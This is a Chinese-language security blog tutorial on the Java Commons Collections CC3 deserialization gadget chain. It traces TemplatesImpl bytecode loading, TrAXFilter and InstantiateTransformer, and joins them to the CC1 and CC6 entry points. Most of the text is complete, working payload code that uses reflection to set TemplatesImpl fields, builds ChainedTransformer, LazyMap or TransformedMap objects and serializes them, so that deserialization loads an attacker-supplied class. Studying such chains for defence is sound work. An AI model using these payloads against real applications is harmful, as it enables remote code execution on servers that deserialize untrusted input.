Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的分析重点】

潜心练剑 剑道自然神 / 2024-09-23 / 原文

CC3链分析

1. CC3链背景

前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同

  • CC1入口类是AnnotationInvocationHandler
  • CC6入口类是HashMap

但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()触发Runtime.getRuntime().exec()实现命令执行。

而在很多情况下,Runtime.getRuntime().exec()方式会被服务器所禁止(代码黑名单),导致最终利用链无法执行。

而除了Runtime.getRuntime().exec()这种方式之外,还有别的方式能够触发恶意代码吗?

答案是有的:就是通过类加载机制加载恶意类,执行恶意代码。

CC3链则是前面的入口类不变,而后面执行恶意代码利用的是类加载机制加载恶意类的方式。

2. CC3链环境

环境还是使用CC1链的环境:

  • Apache Commons Collections 3.2.1
  • JDK 8u66

3. CC3链中使用的动态类加载机制

通常情况下,实战中使用动态类加载机制加载恶意类的方式有以下几种:

  • URLClassLoader 任意类加载
  • ClassLoader.defineClass 字节码加载任意类(私有方法)
  • Unsafe.defineClass 字节码加载(公有方法),但类不能直接生成,Spring中可以直接生成

而CC3链则是利用的ClassLoader.defineClass 字节码加载任意类(私有方法)

ClassLoader.defineClass 字节码加载任意类方式为:

// 获取一个classLoader对象
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 通过反射获取到ClassLoad类中的defineClass方法对象
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// Test类的字节码
byte[] code = Files.readAllBytes(Paths.get("Test.class文件路径"));
// 相当于执行了 cl.defineClass("Test",code,0,code.length),即通过字节码创建了一个名为Test的类
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
// 对Test类实例化
Test testObj = c.newInstance();

4. TemplatesImpl类的利用方式

TemplatesImpl类的利用也是比较常用的,这里单独拿出来说一下~
当然也是CC3链中的一环。

4.1. TemplatesImpl类中的调用链

先定位到java/lang/ClassLoader中的defineClass()方法:

通过defineClass()方法可以加载一个类字节码,生成一个类对象。如果类字节码中存在恶意的内容,则会执行。

接下来寻找一下哪里调用了defineClass()方法,和其他利用链一样,最终需要找到readObject()

Alt+F7寻找一下defineClass()方法的调用(注意选择All Places)

找到TemplatesImpl.TransletClassLoader中的defineClass()

继续寻找TemplatesImpl.TransletClassLoader中的defineClass()方法的调用:

找到TemplatesImpl.defineTransletClasses中的defineClass()调用

继续寻找defineTransletClasses()方法的调用:

寻找到TemplatesImpl.getTransletInstance()方法中存在其调用

需要getTransletInstance()方法的调用:

寻找到TemplatesImpl.newTransformer()方法中存在其调用

TemplatesImpl.newTransformer()方法由public修饰,可以直接调用

这里可以先测试下这一调用关系,调用TemplatesImpl.newTransformer()方法尝试触发动态类加载,实现恶意代码执行~

此时的调用链为:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

4.2. 构造TemplatesImpl类中的调用链的payload

接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()时,加载恶意类,触发恶意代码。

通过刚才的分析,当调用到newTransformer()方法时,会触发一系列的调用,当然,我们要解决中间的一些“阻碍”。

首先创建一个TemplatesImpl对象:

TemplatesImpl templates = new TemplatesImpl();

接下来调用newTransformer()方法:

templates.newTransformer();

此时的整体代码为:

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

此时运行代码,并不会执行恶意代码,因为我们连恶意类字节码还没呢!此时只是调用了newTransformer()方法而已,调用链并不能成功执行下去。

但是我们开头和结尾已经有了,接下来需要在中间将参数、限制条件等解决掉。

假如现在我们已经执行了newTransformer()方法,那么到底是什么内容限制了调用链的成功执行呢?

一步一步看:

首先调用newTransformer()方法后,我们通过调用链得知,接下来需要调用TemplatesImpl.getTransletInstance()方法,而在newTransformer()方法内部可以发现,并没有什么可以阻碍代码执行到getTransletInstance()方法,所以这里“过~”

接下来,是需要调用TemplatesImpl.defineTransletClasses()方法,进入getTransletInstance()方法看一下:

从这里可以发现,这里有两道坎,一个是_name,一个是_class,我们需要满足:

  • _name 不能为null
  • _class必须是null

因为这些属性默认就是null,所以我们需要给_name赋值,使其不是null。

通过查看_name属性在该类中的赋值情况,发现并不好赋值,所以接下来我们通过反射,给_name属性赋值:

Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa"); 

此时payload代码如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

templates.newTransformer();

此时运行,还是执行不成功。因为后面还是有别的限制的,继续分析~

现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。

进入到defineTransletClasses()方法内部:

发现,这里有一个限制,就是_bytecodes属性,不能为空,否则报异常。

看看_bytecodes属性,发现是一个二维数组:

并且在调用defineClass()方法的位置,_bytecodes[i]会当做defineClass()方法的参数传入。

一步步进入defineClass()方法后会发现,最后调用了ClassLoader.defineClass(),当然这里就是前面所说的调用链。

这里我们关注_bytecodes[i]参数,最终会成为ClassLoader.defineClass()方法的byte[] b,也就是说最终通过defineClass方式加载的类字节码。

这里先准备个.class的恶意文件:

1)创建恶意类

2)构建项目

3)将生成的Test.class恶意文件放入一个目录中(随意)

我这里放的位置为:E:\_JavaProject\temp\Test.class

准备好.class文件之后,接下来给_bytecodes属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i],所以我们加载的.class文件的字节码内容,应该放在_bytecodes[i]处。

相关代码如下:

Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去

此时的payload为:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去

templates.newTransformer();

但是此时运行,还是不行。经过调试,发现defineTransletClasses()方法中用到的_tfactory也不能为null:

接下来安装同样的方法,将_tfactory也设置上内容,

查看一下_tfactory的类型:

发现是TransformerFactoryImpl类型,但是被transient修饰,也就是说不能进行序列化。

那这不完了吗?我们所说的这个链是用于反序列化的,不能序列化那后面用不了啊 。

用不了的解释:即使现在将_tfactory手动赋值了,能完成此时的调用链执行,但是序列化的时候不会序列化进去,那反序列化的时候_tfactory还是为空,执行到这的时候还是执行不下去~

但是~说巧不巧,TemplatesImpl类的readObject()方法中存在_tfactory赋值:

这意味着什么呢?

意味着,即使我们没有将_tfactory序列化进去,但是执行readObject()即反序列的时候,同样会给_tfactory赋值!这样就不用担心_tfactory为null了。

OK,接下来通过相同的方式给_tfactory赋值:

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

此时完整的payload为:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

但是此时运行,还是执行不了。

并且报NullPointerException空指针异常的错误。

当我们通过断点调试,发现

这里有个判断:

  if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
      _transletIndex = i;
  }
  else {
      _auxClasses.put(_class[i].getName(), _class[i]);
  }

即动态加载的类的父类需要是ABSTRACT_TRANSLET,即AbstractTranslet

如果不是,就会进入到else语句,而此时的_auxClasses为null,因此会报NullPointerException空指针异常的错误。

这里解决方式,也很简单,不然语句进入else即可,即将我们动态加载的类继承一下AbstractTranslet即可。

因此,Test.java的代码修改为:

然后再加载其.class即可。

5. CC1链和CC6链与TemplatesImpl类的结合使用

通过上面的分析,我们只需要执行templates.newTransformer(),就可以实现恶意代码的执行。

那么如何在反序列化时执行templates.newTransformer()呢?其实方式很多,比如利用之前CC1和CC6链的前半段中的InvokerTransformer.transformer()就可以执行任意方法。

在CC1链的分析中:使用InvokerTransformer对象调用transform()方法,会以反射的方式执行任意方法。

所以我们也可以通过InvokerTransformer.transformer()来执行templates.newTransformer(),进而执行到恶意代码。

这里就是解决CC1、CC6的前半段和TemplatesImpl类的命令执行实现的,其实和CC1、CC6也差不多,只是换了命令执行的方式:

  • 之前是Runtime.getRuntime().exec()方式执行恶意代码。
  • 现在是templates.newTransformer()动态类加载任意类方式执行恶意代码。

📌其实这种结合方式很多,各个链子之间也可以拆开组合,形成十几条链子都是没问题的~

5.1. CC1-1链与TemplatesImpl类结合使用

这里的调用链是使用CC1-1链的前半段+TemplatesImpl类调用链。

sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass


在payload代码中只有transformerArray需要修改一下,其他都是一样的。

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
// 使用CC1链的前半段,只有transformerArray不同,其他都是一样的
Transformer[] transformerArray = new Transformer[]{
        // 传入templates,返回templates,当做下一个transformer的调用者
        new ConstantTransformer(templates),
        // 这里在反序列化时,会触发templates.newTransformer()
        new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

5.2. CC1-2链与TemplatesImpl类结合使用

这里的调用链是使用CC1-2链的前半段+TemplatesImpl类调用链。

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

在payload代码中只有transformerArray需要修改一下,其他都是一样的。

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
// 使用CC1链的前半段,只有transformerArray不同,其他都是一样的
Transformer[] transformerArray = new Transformer[]{
        // 传入templates,返回templates,当做下一个transformer的调用者
        new ConstantTransformer(templates),
        // 这里在反序列化时,会触发templates.newTransformer()
        new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
mapProxy.entrySet();

InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);


SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
}

5.3. CC6链与TemplatesImpl类结合使用

这里的调用链是使用CC1-1链的前半段+TemplatesImpl类调用链。

java.util.HashMap#readObject()
java.util.HashMap#hash
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass


在payload代码中只有transformerArray需要修改一下,其他都是一样的。

5.4. 调用链组合小总结

可以看到,很多调用链都是换汤不换药,调用链包含以下三个部分:

  • 入口类 source
  • 调用链 gadget chain
  • 执行类 sink

其中执行类sink有两种:

  • Runtime.getRuntime().exec()方式执行恶意代码。
  • templates.newTransformer()动态类加载任意类方式执行恶意代码。

而入口类source和调用链gadget chain可以有很多组合,Java反序列化CC调用链中都是不同的组合类型。

6. CC3链分析

有了以上的这些知识之后,再来分析CC3链会非常简单(当然其他CC链也会非常好理解了)。

好,进入正题!

其实CC3链和“CC1-2和TemplatesImpl类”的组合很相似。只是在中间的调用链部分多了一些内容。

6.1. TrAXFilter

在之前了解的TemplatesImpl类的利用方式,我们需要执行TemplatesImpl.newTransformer()来触发动态类加载,执行恶意代码。

当时使用的是直接实例化TemplatesImpl对象,然后调用newTransformer()

其实也可以寻找在哪里有调用newTransformer()方法,比如下面的TrAXFilter类的构造方法中就存在其调用(这也是CC3链中使用的)。

TrAXFilter类的构造方法中,接收一个Templates对象作为参数,而TemplatesImpl类继承自Templates,所以TemplatesImpl类的调用链中的TemplatesImpl对象也可以当做其参数。

所以,我们可以将TemplatesImpl类中的调用链的payload做一下简单修改,同样可以触发恶意代码:

templates.newTransformer();

修改为

new TrAXFilter(templates);

此时会调用TrAXFilter的构造方法,进而执行templates.newTransformer()

此时完整的payload代码如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
new TrAXFilter(templates);

可以看到,可以正常执行恶意代码:

那么接下来继续寻找TrAXFilter()构造方法的调用,虽然有,但是不是我们想要的(这里可以自行分析一下)。

接下来我们了解一个InstantiateTransformer类,这是CC3链中使用到的,也是CC3链的重点。

6.2. InstantiateTransformer类的transform()

InstantiateTransformer类的构造方法和transform()方法如下:

通过分析transform()方法,会发现,它的作用是

  • 将传入的input对象先进行判断,如果是Class对象则跳过判断,进入后面的代码
  • 后面的代码是通过getConstructor()方法获取到input类对象的构造方法对象Constructor
  • 之后通过newInstance()方法,获取到对应的input类的实例对象之后返回
  • 其中iParamTypesiArgs为对应方法的参数,在构造方法中有赋值

因此有了InstantiateTransformertransform()方法,我们可以通过此方式来创建TrAXFilter对象,即调用TrAXFilter的构造方法,触发恶意代码。

所以可以将new TrAXFilter(templates)进行修改:

  • transform()方法的参数inputTrAXFilter.class
  • iParamTypes属性为TrAXFilter构造方法的参数类型即new Class[]{Templates.class}
  • iArgs属性为TrAXFilter构造方法的参数即new Object[]{templates}
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

同样可以执行恶意代码:

6.3. 完成最后的冲刺

那接下来就是寻找transform()方法的调用,其实这里可以接上CC1的前半部分调用链了,通过ChainedTransformer来进行调用。即将instantiateTransformer放入ChainedTransformer链中,然后按照CC1的方式调用即可。

相关代码如下:

//        templates.newTransformer();
//        new TrAXFilter(templates);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);

Transformer[] transformerArray = new Transformer[]{
        // 传入TrAXFilter.class,返回TrAXFilter.class,当做下一个transform的参数
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

可以简单整理一下:

Transformer[] transformerArray = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

6.3.1. 结合CC1-2链的调用链

所以完整payload就可以修改为如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

Transformer[] transformerArray = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);

SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

这里结合的是CC1链的第2条CC1-2链,即LazyMap的方式,其实也可以使用CC1-1链,都是一样的,只是调用方式有点不同。

6.3.2. 结合CC1-1链的调用链

相关的payload如下:

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();
// 赋值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 赋值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 将要加载的类字节码放进去
// 赋值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

Transformer[] transformerArray = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

7. CC1-1、CC1-2、CC3、CC6调用链总结

8. 参考链接